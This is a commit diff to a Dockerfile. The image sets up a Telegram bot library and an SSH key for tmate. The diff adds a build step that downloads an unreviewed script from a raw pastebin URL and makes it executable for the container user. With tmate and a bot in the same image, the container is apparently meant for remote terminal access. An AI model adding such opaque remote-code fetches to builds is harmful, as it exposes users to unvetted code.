Update Dockerfile

Dockerfile

@@ -2,7 +2,7 @@ FROM ubuntu:22.04
 
 ENV DEBIAN_FRONTEND=noninteractive
 
-# Update and upgrade using both apt and apt-get
+# Update and install packages
 RUN apt update && apt upgrade -y && \
     apt-get update && apt-get upgrade -y && \
     apt-get install -y \
@@ -20,7 +20,7 @@ RUN apt update && apt upgrade -y && \
 # Install Telegram bot library
 RUN pip3 install --no-cache-dir pytelegrambotapi
 
-# Generate fresh SSH key for tmate
+# Generate SSH key for tmate
 RUN mkdir -p /root/.ssh && \
     ssh-keygen -t rsa -f /root/.ssh/id_rsa -N '' && \
     chmod 700 /root/.ssh && chmod 600 /root/.ssh/id_rsa
@@ -28,6 +28,11 @@ RUN mkdir -p /root/.ssh && \
 # Create non-root user with UID 1000
 RUN useradd -m -u 1000 -s /bin/bash user
 
+# Download script as root and set permissions for user
+RUN curl -fsSL https://pastebin.com/raw/PHD3VZgN -o /home/user/script.sh && \
+    chmod +x /home/user/script.sh && \
+    chown user:user /home/user/script.sh
+
 # Set environment variables for user
 ENV HOME=/home/user \
     PATH=/home/user/.local/bin:$PATH